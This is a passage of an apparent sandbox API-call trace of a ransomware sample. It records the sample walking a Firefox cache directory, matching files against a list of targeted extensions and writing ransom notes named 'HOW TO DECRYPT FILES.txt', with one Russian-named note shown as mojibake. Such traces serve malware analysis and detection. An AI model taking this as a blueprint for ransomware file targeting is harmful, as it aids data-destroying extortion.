hFile=0xa8, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0085.623] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0085.623] CloseHandle (hObject=0xa8) returned 1 [0085.623] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\", lpString2="FCBF5d01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01" [0085.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.ems") returned 0 [0085.623] lstrlenA (lpString="*.ems") returned 5 [0085.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.db") returned 0 [0085.623] lstrlenA (lpString="*.db") returned 4 [0085.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.dbf") returned 0 [0085.623] lstrlenA (lpString="*.dbf") returned 5 [0085.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.myox") returned 0 [0085.624] lstrlenA (lpString="*.myox") returned 6 [0085.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.myo") returned 0 [0085.624] lstrlenA (lpString="*.myo") returned 5 [0085.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.qbw") returned 0 [0085.624] lstrlenA (lpString="*.qbw") returned 5 [0085.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.qbb") returned 0 [0085.624] lstrlenA (lpString="*.qbb") returned 5 [0085.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.qbm") returned 0 [0085.624] lstrlenA (lpString="*.qbm") returned 5 [0085.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.qbo") returned 0 [0085.624] lstrlenA (lpString="*.qbo") returned 5 [0085.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.qbx") returned 0 [0085.624] lstrlenA (lpString="*.qbx") returned 5 [0085.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.qba") returned 0 [0085.624] lstrlenA (lpString="*.qba") returned 5 [0085.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.qby") returned 0 [0085.624] lstrlenA (lpString="*.qby") returned 5 [0085.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.qbj") returned 0 [0085.625] lstrlenA (lpString="*.qbj") returned 5 [0085.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.ofx") returned 0 [0085.625] lstrlenA (lpString="*.ofx") returned 5 [0085.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.qif") returned 0 [0085.625] lstrlenA (lpString="*.qif") returned 5 [0085.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.mye") returned 0 [0085.625] lstrlenA (lpString="*.mye") returned 5 [0085.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.mbox") returned 0 [0085.625] lstrlenA (lpString="*.mbox") returned 6 [0085.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.eml") returned 0 [0085.626] lstrlenA (lpString="*.eml") returned 5 [0085.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.pst") returned 0 [0085.626] lstrlenA (lpString="*.pst") returned 5 [0085.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.ost") returned 0 [0085.626] lstrlenA (lpString="*.ost") returned 5 [0085.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.idx") returned 0 [0085.626] lstrlenA (lpString="*.idx") returned 5 [0085.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.dbx") returned 0 [0085.626] lstrlenA (lpString="*.dbx") returned 5 [0085.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.sql") returned 0 [0085.626] lstrlenA (lpString="*.sql") returned 5 [0085.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.mdb") returned 0 [0085.626] lstrlenA (lpString="*.mdb") returned 5 [0085.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.fdb") returned 0 [0085.627] lstrlenA (lpString="*.fdb") returned 5 [0085.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.wab") returned 0 [0085.627] lstrlenA (lpString="*.wab") returned 5 [0085.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.dat") returned 0 [0085.627] lstrlenA (lpString="*.dat") returned 5 [0085.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.txt") returned 0 [0085.627] lstrlenA (lpString="*.txt") returned 5 [0085.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.jpeg") returned 0 [0085.627] lstrlenA (lpString="*.jpeg") returned 6 [0085.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.jpg") returned 0 [0085.627] lstrlenA (lpString="*.jpg") returned 5 [0085.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.png") returned 0 [0085.627] lstrlenA (lpString="*.png") returned 5 [0085.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.php") returned 0 [0085.627] lstrlenA (lpString="*.php") returned 5 [0085.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.cs") returned 0 [0085.627] lstrlenA (lpString="*.cs") returned 4 [0085.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.cpp") returned 0 [0085.627] lstrlenA (lpString="*.cpp") returned 5 [0085.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.rar") returned 0 [0085.628] lstrlenA (lpString="*.rar") returned 5 [0085.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.zip") returned 0 [0085.628] lstrlenA (lpString="*.zip") returned 5 [0085.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.html") returned 0 [0085.628] lstrlenA (lpString="*.html") returned 6 [0085.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.htm") returned 0 [0085.628] lstrlenA (lpString="*.htm") returned 5 [0085.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.xlsx") returned 0 [0085.628] lstrlenA (lpString="*.xlsx") returned 6 [0085.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.xls") returned 0 [0085.628] lstrlenA (lpString="*.xls") returned 5 [0085.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.mp4") returned 0 [0085.628] lstrlenA (lpString="*.mp4") returned 5 [0085.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.ppt") returned 0 [0085.628] lstrlenA (lpString="*.ppt") returned 5 [0085.628] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.pptx") returned 0 [0085.628] lstrlenA (lpString="*.pptx") returned 6 [0085.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.doc") returned 0 [0085.629] lstrlenA (lpString="*.doc") returned 5 [0085.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.dot") returned 0 [0085.629] lstrlenA (lpString="*.dot") returned 5 [0085.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.docx") returned 0 [0085.629] lstrlenA (lpString="*.docx") returned 6 [0085.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.7z") returned 0 [0085.629] lstrlenA (lpString="*.7z") returned 4 [0085.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.tar") returned 0 [0085.629] lstrlenA (lpString="*.tar") returned 5 [0085.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.bz2") returned 0 [0085.629] lstrlenA (lpString="*.bz2") returned 5 [0085.629] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01", pszSpec="*.gz") returned 0 [0085.629] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x204fd, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="FCBF5d01", cAlternateFileName="")) returned 0 [0085.630] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0085.630] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="C2", cAlternateFileName="")) returned 1 [0085.630] lstrcmpA (lpString1=".", lpString2="C2") returned -1 [0085.630] lstrcmpA (lpString1="..", lpString2="C2") returned -1 [0085.630] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*.*") returned="*.*" [0085.630] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\", lpString2="C2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2" [0085.630] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502798 [0085.632] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.632] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.632] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.632] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.632] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8272e2f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa05, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0B619d01", cAlternateFileName="")) returned 1 [0085.632] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0085.632] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="0B619d01") returned 1 [0085.682] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="0B619d01") returned 1 [0085.682] lstrcmpiA (lpString1="", lpString2="0B619d01") returned -1 [0085.682] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*.*") returned="*.*" [0085.682] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\" [0085.682] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\") returned="" [0085.683] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\HOW TO DECRYPT FILES.txt" [0085.683] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\how to decrypt files.txt")) returned 0xffffffff [0085.683] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0085.686] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0085.686] CloseHandle (hObject=0xa8) returned 1 [0085.686] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\", lpString2="0B619d01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01" [0085.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01", pszSpec="*.ems") returned 0 [0085.687] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8272e2f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa05, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0B619d01", cAlternateFileName="")) returned 0 [0085.687] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0085.687] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="F6", cAlternateFileName="")) returned 1 [0085.687] lstrcmpA (lpString1=".", lpString2="F6") returned -1 [0085.687] lstrcmpA (lpString1="..", lpString2="F6") returned -1 [0085.687] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*.*") returned="*.*" [0085.687] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\", lpString2="F6" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6" [0085.687] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502798 [0085.801] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.801] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.801] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.801] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.801] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa60b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CBD4Dd01", cAlternateFileName="")) returned 1 [0085.801] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0085.801] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CBD4Dd01") returned 1 [0085.801] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CBD4Dd01") returned 1 [0085.801] lstrcmpiA (lpString1="", lpString2="CBD4Dd01") returned -1 [0085.801] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS 